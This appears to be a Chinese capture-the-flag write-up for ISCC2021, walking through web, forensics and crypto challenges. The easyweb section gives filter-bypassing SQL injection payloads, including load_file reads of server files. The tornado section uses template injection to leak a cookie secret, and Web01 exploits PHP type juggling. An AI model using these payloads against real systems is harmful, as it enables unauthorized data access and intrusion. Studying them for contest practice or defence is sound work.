ISCC2021-部分题目再现


  1. 练武
    1. easyweb
    2. tornado
    3. 李华的红包
    4. 海市蜃楼-1
    5. 美人计
    6. 我的折扣是多少
    7. 检查一下
    8. 小明的宠物图
    9. 小明的表情包
  2. 擂台
    1. ISCC客服冲冲冲(一)
    2. 这是啥
    3. Web01

@TOC

练武

easyweb

很明显,本题需要进行sql注入但是并不知道注入点
经过测试,判断注入点为: 闭合符号用%23代替在这里插入图片描述
在后面测试发现空格被过滤了,我们可以使用%0d进行绕过
尝试使用联合查询发现union,select,尝试使用双写进行绕过
payload
?id=0'%0dununionion%0dselselectect%0d1,2,3%23在这里插入图片描述
得到显示位
根据一贯风格,爆数据库名

1
?id=0'%0dununionion%0dselselectect%0d1,database(),3%23

在这里插入图片描述
然后是爆表名,经过测试发现from、information_schema同样也被过滤了

1
2
1from 则可以尝试进行双写或者大写转换等进行绕过
2、information_schema的话则可以尝试同类型进行转换,查看版本,5.7.33,存在sys数据库,所以可以利用sys数据库查出表名

在这里插入图片描述
构造payload
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_table_statistics_with_buffer),3%0d%23
在这里插入图片描述
得到表名
判断列数
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_auto_increment_columns),3%0d%23在这里插入图片描述
表名都是iscc_flag
盲猜列名是:flag
构造payload

1
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dfrom%0discc_flag),3%0d%23

在这里插入图片描述
进入该页面得到源码进行分析

`<?php

if(isset($_GET[‘c’])){
c= _GET[‘c’];

if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){
   exit("die!!");
}else{
 echo `$c`;
}

}else{
highlight_file(FILE);
}
?>

`

似乎没什么发现,26个英文字母表对比一下上述的英文字符zxcvbMnlkjhgfsaoiuytreq
发现没被过滤的字母有dmpw,执行pwd获取文件路径,
获取flag位置,使用load_file()方法
?id=0'%0dununionion%0dseselectlect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%0d%23

在这里插入图片描述
或者是
?id=-1'%0duniunionon%0dselselectect%0d1,(load_file('/etc/apache2/sites-available/000-default.conf')),3%23 //此路径为默认
获取网站路径

在这里插入图片描述
在源代码中查看flag在这里插入图片描述

tornado

在这里插入图片描述
进入三个路径的文件,发现flag.txt中flag在/fllllllllllllaaaaaag中;
welcome.txt中提示render函数,百度一下存在render函数的模板注入;
hints.txt告诉我们md5(cookie_secret+md5(filename)) 发现我们需要进行md5

查看hints.txt的路径

1
http://39.96.91.106:7060/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15

有filehash参数,根据所给出的提示filehasc的值是MD5处理,有了filehash还需要有cookie_secret这一步可以参考之前的题型,有大佬做出明确解释看这里
构造payload

1
error?msg={{handler.settings}}

在这里插入图片描述
得到cookie_secret,计算hash值
拿到大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib


def md5encode(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()


name = '/fllllllllllllaaaaaag'
secret = 'ef57c331-744f-4528-b434-9746317d4f6a'
name = name.encode()
bb = md5encode((secret + md5encode(name)).encode())
print(bb)

在这里插入图片描述

李华的红包

在这里插入图片描述
010Editor打开在这里插入图片描述

1
24,43,13,13,12,21,43

尝试了一下,有点像敲击码在这里插入图片描述

最后得到flag:ISCCBFS

海市蜃楼-1

打开文档没什么有用的东西,把文档改成zip形式

在这里插入图片描述

点进去查找flag在这里插入图片描述

美人计

打开文件,一张图片格式找到提示信息
在这里插入图片描述
很显然这是AES加密,密匙是ISCC2021
打开文档里面有一张二维码,扫描得到信息

1
U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=

进行三次解密得到字符:y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!

很是让人头大!!
试着将word文档改为压缩包,在ny4w1nbmry4m.zip\word\media中看到了两张image
其中一个就是那张二维码,还有另一张二维码,扫描出结果是

1
U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE

在这里插入图片描述
但是,进行AES解密失败,所以尝试了DES,即可得到flag在这里插入图片描述

我的折扣是多少

下载好文件后,运行exe文件得到一串编码在这里插入图片描述
pass1{\u006b\u0072\u0077},Unicode编码,解码后为pass1{krw}
在010Editor打开压缩包在尾部发现在这里插入图片描述

1
cGFzczJ7Z2NjNjY2fQ==

进行base64编码得到:pass2{gcc666}
组合起来用密码:krwgcc666解开压缩包在这里插入图片描述

1
eW91Zm91bmRtZT8=

base64解出来是:youfoundme?
接下来还剩一个MP3格式的文件MP3一般都是用MP3stego解密,接出来密码是youfoundme?
得到ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}

进行base32解密
在这里插入图片描述

检查一下

解压后是一张图片,尝试进行binwalk进行分离在这里插入图片描述
解压后的文件,发现有一个文档打开后01的字符串在这里插入图片描述
联想到是01字符串画二维码
先看下字符串长度发现是841,而正好是29的平方,那应该就是二维码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from PIL import Image
MAX = 29 #宽高 841个01字符串,所以宽和高是29
pic = Image.new("RGB",(MAX, MAX))
#若是(255,255,255)、(0,0,0)需要先转换01
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("./flag.png")

得到二维码扫描
在这里插入图片描述

小明的宠物图

下载后是一张图片在这里插入图片描述
用binwalk分离图片得到flag.txt和key.zip
flag.txt中内容为U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==
显然需要密钥解密在这里插入图片描述

打开key.zip发现其中的key.txt只有5字节大小,结合那个兔子说的它需要碰撞应该是crc32碰撞,尝试发现(0_0)为密钥在这里插入图片描述

小明的表情包

在这里插入图片描述
可以看到这是凯撒解密,但是偏移量是未知的,通过枚举:发现偏移量为:13时是英文日期,加上提示,年月日可以想到1999,但是月份和日期没有,都是数字,字节为8位可以使用Ziperello进行爆破

在这里插入图片描述
在这里插入图片描述
得到密码:07071999
然后打开文件时不支持的,所以在winhex中查看,发现它的文件头缺失了,然后补充好,得到图片在这里插入图片描述

擂台

ISCC客服冲冲冲(一)

在这里插入图片描述
==可以直接进行改票,但是会被检测到刷票行为==
在这里插入图片描述
既然不发进行刷票,那就直接把对方的投票按钮给他关闭!
我们可以通过火狐浏览器F12进入开发者模式,对源码进行修改直接讲对方的投票按钮删除😼
在这里插入图片描述
在这里插入图片描述
可以看到对方以及在五六十票左右,因此我们需要进入后快速开发者模式,修改后在20s内点到票数超过对方就好了

在这里插入图片描述

这是啥

查看源码,发现这是一段JS代码,直接复制代码放到控制台运行
在这里插入图片描述
在这里插入图片描述

Web01

根据提示进去看一下
在这里插入图片描述
在这里插入图片描述
这倔强的小脾气,摆明让我们进去看看😏😏
39.96.91.106:7040/code/code.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+ /", _GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

对源码进行审计后发现了出题人的小秘密在这里插入图片描述
可以看到要求输入的密码必须小于八位并且数值大于9999999并且最后要加上*-*
根据科学计数法1e9=1000000000> 9999999
因此构造
payload:1e9*-*

page PV:  ・  site PV:  ・  site UV: